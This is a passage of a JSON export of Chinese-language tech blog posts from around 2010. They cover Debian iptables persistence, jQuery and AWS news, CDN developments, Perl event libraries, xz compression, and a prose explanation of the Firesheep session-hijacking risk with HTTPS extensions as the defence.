    "id": "2317",
    "body": "<a href=\"http://www.facebook.com/\">Facebook</a> 在美國開始支援 OTP over SMS：「<a href=\"http://blog.facebook.com/blog.php?post=436800707130\">More Ways to Stay Secure</a>」。\r\n\r\n在美國的手機號碼，先認證手機號碼並開啟 OTP over SMS 的功能，接下來在每次要登入時以簡訊送 \"otp\" 到 32665，就會收到一組 20 分鐘內有效的 token 讓你登入到 Facebook。\r\n\r\n簡訊便宜的國家才有機會開發這種功能... :o",
    "title": "Facebook 支援 OTP over SMS"
  },
  {
    "id": "2320",
    "body": "標題所提到的問題在 <a href=\"http://www.debian.org/releases/lenny/\">lenny</a> 以及更早的版本沒有標準解，一般 <a href=\"http://www.google.com/\">Google</a> 到的解法是在 <code>/etc/network/if-up.d/</code> 裡面放一個 script，當介面起來的時候會跑 <code>iptables-restore</code> 把 <a href=\"http://www.netfilter.org/\">iptables</a> 的規則倒回去，這是「會動」的方法，但我不喜歡這種 hacking...\r\n\r\n剛剛找到 <a href=\"http://packages.debian.org/iptables-persistent\">iptables-persistent</a>，在 <a href=\"http://www.debian.org/releases/squeeze/\">squeeze</a> 以及 <a href=\"http://www.debian.org/releases/sid/\">sid</a> 都可以裝，雖然沒有文件，但看了一下程式很快就可以理解他的用法。\r\n\r\n在 <code>apt-get install iptables-persistent</code> 安裝完畢之後，理論上就會把 script 裝好，並且把目錄建好，接下來只要跑 <code>iptables-save > /etc/iptables/rules</code> 就可以把目前的 iptables 設定倒進去。\r\n\r\n這個方式看起來會是比較好的作法...",
    "title": "Debian 重開機後維持 iptables 設定值的作法"
  },
  {
    "id": "2321",
    "body": "<a href=\"http://indextank.com/\">IndexTank</a> 是在 <a href=\"http://blog.xdite.net/\">xdite</a> 的個人板上看到的網站，號稱真正 Scalable 的 Search Engine，看了他的架構設計後看起來應該是真的 Scalable。\r\n\r\n由於是屬於 SaaS 服務，對於 startup 不想自己做 search engine 的可以直接套上去。而對於技術人員真正有價值的是他的 API 設計文件中的 function definition syntax：「<a href=\"http://indextank.com/documentation/function-definition-syntax\">function definition syntax</a>」，雖然故意寫個 coming soon，但實際上可以在 client library 裡看到範例：「<a href=\"http://indextank.com/documentation/python-client\">Python client</a>」。\r\n\r\n先內建一些基本的數學函數，像是四則運算、power、log，並且內建一些很常用到的變數。接下來定義出來的函數可以再重複使用，不斷累積上去，最後在 query 的時候就可以 ORDER BY 某個 score...\r\n\r\nIndexTank 告訴你「利用 API 讓前端程式設定 function 以降低 denormalization 的複雜度」時要怎麼設計 API，當你自己建立 search engine 時，新增的 function 還可以在後端用 MapReduce 把資料補上去...。\r\n\r\n另外可以再參考「<a href=\"http://amix.dk/blog/post/19574\">How Hacker News ranking algorithm works</a>」這篇文章。(這篇文章的 comment 裡面有其他的 ranking code 可以看)",
    "title": "IndexTank 的設計"
  },
  {
    "id": "2322",
    "body": "如前幾天在「<a href=\"http://blog.gslin.org/archives/2010/10/14/2314/jquery-1-4-3-rc-%E9%96%8B%E8%B7%91\">jQuery 1.4.3-RC* 開跑</a>」所說的，<a href=\"http://jquery.com/\">jQuery</a> 1.4.3 如期正式釋出：「<a href=\"http://blog.jquery.com/2010/10/16/jquery-143-released/\">jQuery 1.4.3 Released</a>」，除了可以自己下載以外，在 <a href=\"http://code.google.com/apis/libraries/\">Google Libraries API</a> 上也已經更新了：<code><a href=\"http://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js\">ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js</a></code>。\r\n\r\n對於 dev quality 的要求，這個版本導入 <a href=\"http://www.jslint.com/\">JSLint</a>，要求所有 jQuery code 都要 pass JSLint 的檢查。\r\n\r\n另外把一些模組的相依性處理的更好，儘量都拆開不要相依，這樣可以使用 <a href=\"http://labjs.com/\">LABjs</a> 或 <a href=\"http://requirejs.org/\">RequireJS</a> 這類工具動態讀入。\r\n\r\n在效能改善的部份，這次把 <code>.css()</code> 重新寫過，大約快 20%，對於 <code>.animate()</code> 會有幫助，不過 <a href=\"http://www.google.com/chrome\">Chrome</a> 以及 IE8 似乎沒差... 最重要，改善幅度也最多的的應該是 <code>.closest()</code>、<code>.filter()</code> 的改善，以及連帶大量使用這兩個 function 的 <code>.is()</code> 與 <code>.find()</code>。",
    "title": "jQuery 1.4.3 正式釋出"
  },
  {
    "id": "2323",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kw1Kq.webp\" /><img src=\"https://i.gslin.com/imgur/kw1Kq.jpg\" alt=\"\" /></picture>\r\n\r\n從今年的 11/1 開始，新註冊 <a href=\"http://aws.amazon.com/\">AWS</a> 的使用者可以取得一年份免費的 quota：「<a href=\"http://aws.amazon.com/free/\">AWS Free Usage Tier</a>」，這些免費的 quota 包括了持續使用 micro instance 的能力，以及一些免費的頻寬及儲存空間。\r\n\r\n另外還有一些免費的 quota 是包括現有的使用者，主要是推不太起來的服務... 像是 <a href=\"http://aws.amazon.com/simpledb/\">SimpleDB</a>、<a href=\"http://aws.amazon.com/sqs/\">Simple Queue Service</a> 以及 <a href=\"http://aws.amazon.com/sns/\">Simple Notification Service</a>，這些看起來就不太好用的服務...\r\n\r\n對於一些嘗試性的服務會相當方便...",
    "title": "Amazon Web Services 推出免費試用方案"
  },
  {
    "id": "2326",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NC9GV.webp\" /><img src=\"https://i.gslin.com/imgur/NC9GV.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"http://codebutler.com/firesheep\">Firesheep</a>，一個 <a href=\"https://addons.mozilla.org/\">Firefox extension</a>，利用截聽封包的方式取得 session 資訊，進而使用該 session 做壞事。原理其實很簡單，只是這次被包成 Firefox extension 後讓一般人都很容易可以「確認」這不是什麼困難的事情... 而在 Wifi 環境下封包的截聽就更容易了。\r\n\r\n除此之外，這次公開 Firesheep 時有說明「登入已經是 HTTPS 所以就很安全了」這個錯誤的觀念。因為在 HTTPS 模式下登入所拿到的 session (通常是 cookie) 在 HTTP 模式下預設還是會以明文傳輸，所以截聽 HTTP 封包取得 session 後就可以處理很多事情了。\r\n\r\n目前 client 端的解法都是建議全程 HTTPS 加密並加裝套件確保不會有 HTTP request。在 Firefox 目前看到的套件中有兩個，一個是 <a href=\"https://addons.mozilla.org/firefox/addon/12714/\">Force-TLS</a>，這個套件可以設定某些 site 一定要使用 HTTPS。安裝這個套件而不做設定不會有效果。另外一個套件是 <a href=\"http://www.eff.org/\">EFF</a> 出的 <a href=\"https://www.eff.org/https-everywhere\">HTTPS Everywhere</a>，預設就會設定一堆常見的站台加密，對於一般人來說比較方便。\r\n\r\n回過頭來提到 HTTPS 協定。<a href=\"http://zh.wikipedia.org/wiki/%E4%BC%A0%E8%BE%93%E5%B1%82%E5%AE%89%E5%85%A8\">SSL</a> 的 AES encryption/decryption 其實很快 (以目前 Web 的傳輸量來看)，但啟始的 overhead 太大。再加上 HTTP 又是 stateless 協定，常常會需要重新連線。以目前 HTML5 <a href=\"http://en.wikipedia.org/wiki/WebSockets\">WebSocket</a> 支援加密的架構來看，以後有可能會用 WebSocket 加上 Javascript 解決效能的問題...",
    "title": "最近很紅的 Firesheep..."
  },
  {
    "id": "2327",
    "body": "在「<a href=\"http://blogs.freebsdish.org/portmgr/2010/10/29/md5-for-distinfo-has-been-deprecated/\">MD5 for distinfo has been deprecated</a>」這邊看到 FreeBSD Ports System 拿掉 <a href=\"http://zh.wikipedia.org/wiki/MD5\">MD5</a> 檢查了 (會被忽略而不檢查)。\r\n\r\nPR (Problem Report) 可以在「<a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=149657\">ports/149657: [bsd.port.mk] deprecate MD5 checksums in distinfo</a>」查到。\r\n\r\n翻了 cvs log，<a href=\"http://en.wikipedia.org/wiki/SHA256\">SHA256</a> 是五年前 (2005) 加到 <code>bsd.ports.mk</code> 的：「<a href=\"http://www.freebsd.org/cgi/cvsweb.cgi/ports/Mk/bsd.port.mk.diff?r1=1.517;r2=1.518;f=h\">Diff for /ports/Mk/bsd.port.mk between versions 1.517 and 1.518</a>」，總算在今天把 MD5 取代了：「<a href=\"http://www.freebsd.org/cgi/cvsweb.cgi/ports/Mk/bsd.port.mk.diff?r1=1.651;r2=1.652;f=h\">Diff for /ports/Mk/bsd.port.mk between versions 1.651 and 1.652</a>」。",
    "title": "FreeBSD Ports System 拿掉 MD5 檢查了..."
  },
  {
    "id": "2328",
    "body": "去年「<a href=\"http://blog.gslin.org/archives/2009/09/05/2083/2083\">Perl - PSGI</a>」這篇文章裡面提到 <a href=\"http://www.perl.org/\">Perl</a> 的 threading 一直是頭痛的問題之一，<a href=\"http://zh.wikipedia.org/wiki/%E5%94%90%E9%B3%B3\">唐鳳</a>在留言上推薦用 <a href=\"http://search.cpan.org/dist/Coro/\">Coro</a> 而非原來的 thread。\r\n\r\n實際測試後發現並非 OS level 的 threading，而是利用抽換的方式將系統內許多 blocking function 換掉，並且支援常用到的 module (像是 <a href=\"http://search.cpan.org/dist/libwww-perl/\">libwww-perl</a> 系列)，使得現有的程式要 porting 到 Coro 上會簡單很多，寫起來也的確比較像 threading 程式。(雖然實做比較接近 event-based)\r\n\r\n附上之前寫來測試的程式，用的是 <a href=\"http://www.pixnet.net/\">PIXNET</a> 的 <a href=\"http://dev.pixnet.pro/pixnet/\">API</a>：\r\n<script src=\"http://gist.github.com/653448.js?file=gistfile1\"></script>",
    "title": "Perl 的 Threading 實做：Coro"
  },
  {
    "id": "2329",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/5126340190/\"><img src=\"http://farm2.static.flickr.com/1311/5126340190_143f08484a_o.jpg\" alt=\"\" /></a>\r\n\r\n因為不能跑 IE6：「<a href=\"http://tech.slashdot.org/story/10/10/29/149218/IE6-Addiction-Inhibits-Windows-7-Migrations\">IE6 Addiction Inhibits Windows 7 Migrations</a>」(<a href=\"http://slashdot.org/\">Slashdot</a>)、「<a href=\"http://www.computerworld.com/s/article/9193901/IE6_addiction_throws_monkey_wrench_into_Windows_7_migration\">IE6 addiction throws monkey wrench into Windows 7 migration</a>」(<a href=\"http://www.computerworld.com/\">Computerworld</a>)\r\n\r\n主要是因為有很多企業內部網站已經年久失修，只能跑 IE6...\r\n\r\n依據 <a href=\"http://www.statcounter.com/\">StatCounter</a> 的統計，台灣地區還是有 21% 的使用者用 IE6：「<a href=\"http://gs.statcounter.com/#browser_version-TW-monthly-200910-201009\">Top 12 Browser Versions in Taiwan from Oct 09 to Sep 10</a>」。",
    "title": "企業不肯換到 Windows 7 的原因是..."
  },
  {
    "id": "2331",
    "body": "之前 BBS 備份都是用 <a href=\"http://www.gzip.org/\">gzip</a> 加上 <a href=\"http://www.openssl.org/\">openssl</a> 加密後丟上 <a href=\"http://aws.amazon.com/s3/\">Amazon S3</a>，檔案大約 1GB 左右，曾經用過 <a href=\"http://www.bzip.org/\">bzip2</a>，大約是 900MB，但多出來的壓縮時間與換到的空間讓人沒辦法接受...\r\n\r\n前陣子在測 <a href=\"http://www.7-zip.org/\">7z</a> 格式時才發現 <a href=\"http://tukaani.org/xz/\">xz</a> 的壓縮率高的嚇人... 當然，壓縮的時間會更久，但可以壓到少於 500MB，這對於丟上 S3 的成本就少了很多...\r\n\r\n這是壓縮的結果：\r\n<script src=\"http://gist.github.com/655084.js?file=gistfile1.txt\"></script>\r\n<code>xz -1</code> 與 <code>xz -2</code> 的速度都非常快，跟 <code>gzip -9</code> 以及 <code>bzip2 -9</code> 差不多。沒意外的話 (像是軟體專利)，應該是未來的趨勢了...",
    "title": "xz (LZMA) 的壓縮率"
  },
  {
    "id": "2332",
    "body": "<a href=\"http://www.edgecast.com/\">EdgeCast</a> 最近開始測試 <a href=\"http://www.edgecast.com/services/cloud-storage/\">Cloud Storage</a> 服務，這個服務可以用信用卡付款，沒有 setup fee 之類的費用，看了功能以及價錢似乎是可以玩看看的東西...\r\n\r\n先說缺點：\r\n<ul>\r\n\t<li>目前看起來只有一個洛杉磯 (LAX) 的點，資料的安全性會是個問題。也因為如此，在與 <a href=\"http://aws.amazon.com/s3/\">S3</a> 比較時，應該與 Reduced Redundancy Storage 這個等級互相比較。</li>\r\n\t<li>檔案上傳後到可以從 Web Server 上取得的時間太長，依照他的說法可能會 30secs，我測試也差不多會到 30secs。S3 雖然也沒有保證，但幾乎是上傳後就馬上可以讀到了。</li>\r\n\t<li>有提供 API，但 API 文件要登入 (也就是說一定得註冊) 才能下載。</li>\r\n</ul>\r\n優點：\r\n<ul>\r\n\t<li>價錢便宜。空間的部份即使是跟 S3 的 Reduced Redundancy Storage 相比也便宜不少。頻寬與 transaction fee 的部份也是一樣。</li>\r\n\t<li>反應速度。S3 的 first byte 反應速度太慢，我在 <a href=\"http://www.linode.com/\">Linode</a> 美西的點 (也是在 LAX) 上測試 <a href=\"http://jquery.com/\">jQuery</a> 1.4.3，S3 的 first byte 要 34ms，而 Cloud Storage 的 first byte 反應速度大約是 11ms。</li>\r\n\t<li>用 FTP 就可以上傳，所以現有的 FTP sync tool 可以直接拿出來用。</li>\r\n</ul>\r\n要注意的有兩點：\r\n<ul>\r\n\t<li>是預設是 public，也就是傳上去後所有檔案都是公開的，可以透過 http 下載。</li>\r\n\t<li>另外，Web 預設的 max-age 是 900，而且沒有 Compression，要記得去 Rules Engine 裡設定。</li>\r\n</ul>\r\n試用的情況大概就這樣吧...",
    "title": "EdgeCast Cloud Storage 試用"
  },
  {
    "id": "2333",
    "body": "<a href=\"http://aws.amazon.com/s3/\">AWS S3</a> 自 11/1 開始降價：「<a href=\"http://aws.typepad.com/aws/2010/11/what-can-i-say-another-amazon-s3-price-reduction.html\">What Can I Say? Another Amazon S3 Price Reduction!</a>」。\r\n\r\n包括 Standard storage 與 Reduced Redundancy storage 都一併降價，其中 Reduced Redundancy storage 是依照 Standard storage 的 2/3 價錢計算。不知道是不是跟 <a href=\"http://www.edgecast.com/\">EdgeCast</a> 最近在測試 <a href=\"http://www.edgecast.com/services/cloud-storage/\">Cloud Storage</a> 有關？",
    "title": "AWS S3 儲存空間降價"
  },
  {
    "id": "2334",
    "body": "印象中 <a href=\"http://www.android.com/\">Android</a> 字型是 Open Source License，查了一下發現也是以 <a href=\"http://www.droidfonts.com/licensing/\">Apache License, Version 2.0</a> 放出來的：「<a href=\"http://www.droidfonts.com/\">Droid Fonts from Ascender Corporation</a>」。\r\n\r\n<a href=\"http://blog.bcse.info/\">bcse</a> 寫的「<a href=\"http://blog.bcse.info/how-to-get-the-latest-droid-font-family\">How to get the latest Droid font family</a>」這篇有比較快的取得方式 (從 repository 裡直接包 snapshot 抓)，抓下來丟進 Windows 的字型目錄裡就可以了。",
    "title": "Android 的字型"
  },
  {
    "id": "2335",
    "body": "<a href=\"http://aws.amazon.com/cloudfront/\">AWS CloudFront</a> 支援非 <a href=\"http://aws.amazon.com/s3/\">S3</a> 的 Origin Server 了：「<a href=\"http://aws.typepad.com/aws/2010/11/amazon-cloudfront-support-for-custom-origins.html\">Amazon CloudFront Support for Custom Origins</a>」。\r\n\r\n這樣等於直接與現有 CDN 市場競爭，使用者可以用 <a href=\"http://www.edgecast.com/\">EdgeCast</a> 的 <a href=\"http://www.edgecast.com/services/cloud-storage/\">Cloud Storage</a> 或是自己的 Origin Server，甚至是用 <a href=\"http://github.com/\">GitHub</a> 直接當 Origin Server，晚點再來玩...\r\n\r\n另外也從 Beta 畢業成為正式的服務，並正式提供 99.9% 的 SLA：「<a href=\"http://aws.typepad.com/aws/2010/11/amazon-cloudfront-ga-status-and-an-sla.html\">Amazon CloudFront - Production Status and an SLA</a>」。",
    "title": "AWS CloudFront 支援 Non-S3 Origin 了！"
  },
  {
    "id": "2336",
    "body": "在 <a href=\"http://www.osnews.com/\">OSnews</a> 上看到 <a href=\"http://clang.llvm.org/\">clang</a> 2.8 與其他幾個 compiler 的比較：「<a href=\"http://www.osnews.com/story/24008/Compiler_Benchmarks_of_GCC_LLVM-GCC_DragonEgg_Clang\">Compiler Benchmarks of GCC, LLVM-GCC, DragonEgg, Clang</a>」。\r\n\r\n以測試結果來說，如果改用 Clang，有些會變得比較快，但也有些變得比較差。不過以 license 以及後勁來看，還蠻看好發展的。<del>六月的時候在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 的 -HEAD 裡面變成 default compiler，預定 9.0-RELEASE 會是 FreeBSD 上第一個用 clang 的版本...</del> (感謝 lwhsu 戳中)",
    "title": "clang 的進展..."
  },
  {
    "id": "2340",
    "body": "突然發現忘記寫了...\r\n\r\n九月的時候 <a href=\"http://www.pixnet.net/\">PIXNET</a> 公告了「快捷功能BAR」的功能：「<a href=\"http://admin.pixnet.net/blog/post/27097531\">[公告] 快捷功能BAR陪你遨遊痞客邦！</a>」。類似的功能在 <a href=\"http://digg.com/\">Digg</a>、<a href=\"http://www.facebook.com/\">Facebook</a> 都失敗過，還是會有人想要去嘗試...\r\n\r\n如果有在 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 上安裝 <a href=\"http://adblockplus.org/\">Adblock Plus</a> 的人，在裡面加上「<code>###toolbar-box</code>」即可，表示擋掉頁面上 <code>id=\"toolbar-box\"</code> 的元素。其他的瀏覽器 (像是 <a href=\"http://www.google.com/chrome/\">Google Chrome</a>) 我很少用，有知道的人麻煩留個言吧...",
    "title": "擋掉全 PIXNET 的 Toolbar"
  },
  {
    "id": "2341",
    "body": "<a href=\"http://www.ruten.com.tw/\">露天拍賣</a>的圖片是等到有用到時才會讀進來，這其實對於用 tab 用習慣的我不太方便，因為我會在搜尋頁一次開完，然後一個一個看。這樣的好處是不需要等讀片讀入的時間...\r\n\r\n我只在 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> + <a href=\"https://addons.mozilla.org/firefox/addon/748\">Greasemonkey</a> 上測試過，不過因為程式很簡單 (只有一行)，理論上在 <a href=\"http://www.google.com/chrome/\">Google Chrome</a> 上應該也可以用。\r\n\r\n程式在「<a href=\"http://userscripts.org/scripts/show/90215\">Ruten Images Autoloader</a>」，請測試給意見囉...",
    "title": "露天拍賣的圖片自動展開程式 (Firefox、Google Chrome、Greasemonkey)"
  },
  {
    "id": "2342",
    "body": "這幾天 CDN 市場裡比較大的新聞之一，從這篇開始：「<a href=\"http://blog.streamingmedia.com/the_business_of_online_vi/2010/11/akamai-to-lose-netflix-as-a-customer-level-3-and-limelight-pick-up-the-business.html\">Akamai To Lose Netflix As A Customer, Level 3 and Limelight Pick Up The Business</a>」。\r\n\r\n另外的後續報導是：\r\n<ul>\r\n\t<li><a href=\"http://blog.streamingmedia.com/the_business_of_online_vi/2010/11/update-on-my-netflix-and-akamai-story-with-comments-from-both-companies.html\">Update On My Netflix and Akamai Story With Comments From Both Companies</a></li>\r\n\t<li><a href=\"http://blog.streamingmedia.com/the_business_of_online_vi/2010/11/more-coming-on-the-akamai-and-netflix-post-stay-tuned.html\">More Coming On The Akamai and Netflix Post, Stay Tuned</a></li>\r\n\t<li><a href=\"http://blog.streamingmedia.com/the_business_of_online_vi/2010/11/level-3-now-confirms-it-has-secured-a-multi-year-cdn-agreement-with-netflix.html\">Level 3 Now Confirms It Has Secured A \"Multi-Year CDN Agreement\" With Netflix</a></li>\r\n</ul>\r\n<a href=\"http://www.netflix.com/\">Netflix</a> 以前以 DVD 租用服務為主，在推出 Video Streaming 後其實可以節省很多成本 (如果以郵寄的成本與 bandwidth 的成本比較起來)，而且會是未來的趨勢，所以在 CDN 這塊不僅靠著量大成為重量級客戶，還是很重要的「指標性客戶」。這次傳言因為效能因素從 <a href=\"http://www.akamai.com/\">Akamai</a> 換成 <a href=\"http://www.level3.com/\">Level 3</a> 絕對是震撼彈，對於所有 CDN 的品牌迷思會是很重要的革新。\r\n\r\n我相信 Level 3 最近不斷公告增加美加地區的 PoP 承載能力應該跟這筆合約有關，而且我也相信 Level 3 應該有能力吃下 Netflix 的量...。",
    "title": "Netflix 拋棄 Akamai CDN，改以 Level 3 CDN 為主力"
  },
  {
    "id": "2343",
    "body": "在「<a href=\"http://www.nomitor.com/blog/2010/11/10/gzip-support-for-amazon-web-services-cloudfront/\">gzip support for Amazon Web Services CloudFront</a>」這篇提到了要如何用 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 的 Custom Origin 實做標準 deflate/gzip。\r\n\r\n之前 CloudFront 就有支援 <code>Vary</code> header，雖然只支援 <code>Accept-Encoding</code>，但這就是我們要的：(<a href=\"http://docs.amazonwebservices.com/AmazonCloudFront/latest/DeveloperGuide/Appendix.html\">Appendix: Custom Origins</a>)\r\n<blockquote>The only acceptable value for the Vary header is Accept-Encoding.</blockquote>\r\n本來 <a href=\"http://aws.amazon.com/s3/\">S3</a> 沒有能力依據 <code>Accept-Encoding</code> 送出不同的結果，這次有了 Custom Origin 出來以後掛個有能力 gzip-on-the-fly 的 Web Server 就可以做到了，檔案也不一定要放到 S3 上 (可以放 <a href=\"http://aws.amazon.com/ebs/\">EBS</a>)。\r\n\r\n基本上這個功能可以用現有的外部機器做 (因為 CloudFront 連到 Origin 的量應該不大)，或是 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 的 micro instance 應該也夠用了...",
    "title": "利用 AWS CloudFront 的 Custom Origin 實做標準 deflate/gzip 壓縮"
  },
  {
    "id": "2344",
    "body": "<a href=\"http://ejohn.org/\">John Resig</a> 在 <a href=\"http://twitter.com/\">Twitter</a> 上提到 <a href=\"https://github.com/mishoo/UglifyJS\">UglifyJS</a> 還可以對 <code>.min.js</code> 版本<a href=\"http://twitter.com/jeresig/status/29232636124\">再壓 700bytes</a>：\r\n<blockquote>It seems like the UglifyJS minifier shaves about 700B off the gzipped size of jQuery. Will explore more, already impressed.</blockquote>\r\n號稱比 <a href=\"http://developer.yahoo.com/yui/compressor/\">YUI Compressor</a> 更強大，比 <a href=\"http://code.google.com/closure/compiler/\">Google Closure Compiler</a> 更穩定...\r\n\r\n用 <a href=\"http://nodejs.org/\">node.js</a> 寫的，以 JS 壓縮 JS 的程式...",
    "title": "UglifyJS - 更強大的 JS Compressor"
  },
  {
    "id": "2346",
    "body": "<a href=\"http://search.cpan.org/dist/Coro/\">Coro</a> 用起來不太順，於是跑到 <a href=\"http://freenode.net/\">freenode</a> 的 #perl.tw 上問 Coro 是不是能用的東西，結果 <a href=\"http://www.clkao.org/\">clkao</a> 建議了 <a href=\"http://search.cpan.org/dist/AnyEvent/\">AnyEvent</a>，用了感覺反而比 Coro 順手，大概是因為平常對 event-based 的東西還算習慣吧...\r\n\r\n與「<a href=\"http://blog.gslin.org/archives/2010/10/29/2328/perl-%E7%9A%84-threading-%E5%AF%A6%E5%81%9A%EF%BC%9Acoro\">Perl 的 Threading 實做：Coro</a>」這篇同樣的東西，改用 AnyEvent + <a href=\"http://search.cpan.org/dist/EV/\">EV</a> 寫：\r\n<script src=\"https://gist.github.com/675447.js?file=gistfile1.pl\"></script>",
    "title": "Perl 的 AnyEvent + EV"
  },
  {
    "id": "2347",
    "body": "在 <a href=\"http://techcrunch.com/\">TechCrunch</a> 看到一個全新的嘗試，用程式 (機器人) 自動寫運動新聞：「<a href=\"http://techcrunch.com/2010/11/12/automated-news-sports-statsheet/\">Automated News Comes To Sports Coverage Via StatSheet</a>」，網站是「<a href=\"http://statsheet.com/\">StatSheet Network: Team-centric news, stats, analysis for college basketball</a>」。\r\n\r\n其實可讀性還不算差耶？如果要保持中立性，這類型的新聞就是調出之前的資料合併成一篇？",
    "title": "用程式 (機器人) 自動寫運動新聞"
  },
  {
    "id": "2348",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到的，「耳紋」比「指紋」精確？：「<a href=\"http://tech.slashdot.org/story/10/11/14/1652234/Ears-Might-Be-Better-Than-Fingerprints-For-ID\">Ears Might Be Better Than Fingerprints For ID</a>」。\r\n\r\n不知道檢查的多深入，如果只是表面的話，本來砍手指的變成砍耳朵？XD",
    "title": "本來砍手指，以後改砍耳朵了？"
  },
  {
    "id": "2349",
    "body": "使用 <a href=\"http://search.cpan.org/dist/HTML-Tree/\">HTML::Tree</a> 時因為有 circular reference，會要求你要使用 <code>-&gt;delete()</code> 告知 object 打斷 reference 以避免 memory leak。於是就得很小心寫，要注意每個步驟以免某些狀況下忘記 <code>-&gt;delete()</code> 而造成 leak：\r\n<blockquote><pre class=\"syntax perl\">my $html = HTML::TreeBuilder-&gt;new_from_content($body);\r\nforeach my $element ($html-&gt;look_down('a', qr{某個 RE 條件})) {\r\n    if (符合某個條件) {\r\n        # 做某些事情...\r\n\r\n        $element-&gt;delete;\r\n        $html-&gt;delete;\r\n        return;\r\n    }\r\n\r\n    # 做某些事情...\r\n    $element-&gt;delete;\r\n}\r\n$html-&gt;delete;</pre></blockquote>\r\n後來找到了 <a href=\"http://search.cpan.org/dist/Object-Destroyer/\">Object::Destroyer</a>，利用另外一個 object 的存活幫忙回收，於是就可以簡化成：\r\n<blockquote><pre class=\"syntax perl\">my $html = HTML::TreeBuilder-&gt;new_from_content($body);\r\nmy $htmlD = Object::Destroyer-&gt;new($html, 'delete');\r\nforeach my $element ($html-&gt;look_down('a', qr{某個 RE 條件})) {\r\n    my $elementD = Object::Destroyer-&gt;new($element, 'delete');\r\n    if (符合某個條件) {\r\n        return;\r\n    }\r\n    # 做某些事情...\r\n}</pre></blockquote>\r\n這樣就不會 leak 了...",
    "title": "Perl 的 Object::Destroyer"
  },
  {
    "id": "2351",
    "body": "其中一個是 <a href=\"http://aws.amazon.com/ec2/\">AWS EC2</a> 的 <a href=\"http://aws.amazon.com/ec2/hpc-applications/\">HPC</a> (High Performance Computing) 平台上了 2010 年 11 月 <a href=\"http://www.top500.org/\">Top 500</a> 的 #231：「<a href=\"http://perspectives.mvdirona.com/2010/11/14/AWSComputeCluster231OnTop500.aspx\">AWS Compute Cluster #231 on Top 500</a>」，每個 node 只要 $1.60/hour 與 $2.10/hour (GPU 版本)。\r\n\r\n另外一個是 <a href=\"http://aws.amazon.com/\">AWS</a> 通過 <a href=\"http://www.iso.org/iso/catalogue_detail?csnumber=42103\">ISO 27001:2005 - Information technology -- Security techniques -- Information security management systems -- Requirements</a>：「<a href=\"http://aws.typepad.com/aws/2010/11/aws-receives-iso-27001-certification.html\">AWS Receives ISO 27001 Certification</a>」。\r\n\r\n兩件事情都不小，前者會對 Super Computer 帶來一定程度的改變，後者則是給一般人對於 Cloud Computing 的安全印象有所改變 (雖然我覺得 ISO 27001 解決的方向並不太一樣...)。",
    "title": "AWS 的幾個進展：EC2 HPC 與 ISO 27001"
  },
  {
    "id": "2352",
    "body": "在 <a href=\"http://www.techbang.com.tw/\">T 客邦</a>的「<a href=\"http://www.techbang.com.tw/posts/4056-torrific-the-generation-of-free-spike-caught-bt-station-zhang-san\">只要複製貼上，Torrific 免費幫你把 BT 抓到好</a>」這篇文章提到了 <a href=\"http://www.torrific.com/\">Torrific</a> 這個 <a href=\"http://zh.wikipedia.org/wiki/BitTorrent_%28%E5%8D%8F%E8%AE%AE%29\">BitTorrent</a> 代抓服務，我是從還是叫做 btaccel 的時代就看到這個網站，用過幾次以後也沒什麼在用了... (畢竟 <a href=\"http://libtorrent.rakshasa.no/\">rtorrent</a> 用習慣了)\r\n\r\n先說明文章裡提到的「找 torrent 檔的免費空間」的問題要怎麼解決。一般的空間可能會需要帳號密碼，或是無法給一個連結直接下載，這點可以用 <a href=\"http://torrage.com/\">Torrage</a> 以及 <a href=\"http://zoink.it/\">ZoinkIT</a> 這類專門存放 torrent 檔的站台來放。\r\n\r\n再來談 Torrific 這個站台。這個站目前放在 <a href=\"http://www.slicehost.com/\">Slicehost</a>，但更早之前是放在 <a href=\"http://www.he.net/\">Hurricane Electric</a> 的機房內，而且以前的 domain 註冊資訊也是 HE (現在是隱藏起來)。如果故意丟一個很少人抓的檔案，然後觀察會有什麼 peer 連上來，也可以看得出來是 HE 機房的 server 連上來代抓...\r\n\r\n這讓我想起以前和信 (現在被<a href=\"http://www.fetnet.net/\">遠傳</a>合併了) 跟 <a href=\"http://www.hinet.net/\">HiNet</a> 在吵 peering 以及「帥哥團隊」灌流量的事情了... XD",
    "title": "Torrific"
  },
  {
    "id": "2353",
    "body": "<a href=\"http://en.wikipedia.org/\">英文版維基百科</a>條目：「<a href=\"http://en.wikipedia.org/wiki/Bayesian_spam_filtering\">Bayesian spam filtering</a>」。\r\n\r\n要判斷一個詞 spam 的機率是依照<a href=\"http://zh.wikipedia.org/wiki/%E8%B4%9D%E5%8F%B6%E6%96%AF%E5%AE%9A%E7%90%86\">貝式定理</a>：\r\n<blockquote><a href=\"http://www.flickr.com/photos/gslin/5189323021/\"><img src=\"http://farm2.static.flickr.com/1381/5189323021_4e7a4b31b2_o.png\" alt=\"\" /></a></blockquote>\r\n這之中每個項目都可以先被計算起來，再來是機率的合併：\r\n<blockquote><a href=\"http://www.flickr.com/photos/gslin/5189331685/\"><img src=\"http://farm5.static.flickr.com/4110/5189331685_1c0ab7ca4a_o.png\" alt=\"\" /></a></blockquote>\r\n接下來是罕見字以及其他改善精確度的處理。\r\n\r\n其實基本的觀念並不難，當初不知道為什麼一直沒看懂...",
    "title": "Bayesian spam filtering"
  },
  {
    "id": "2355",
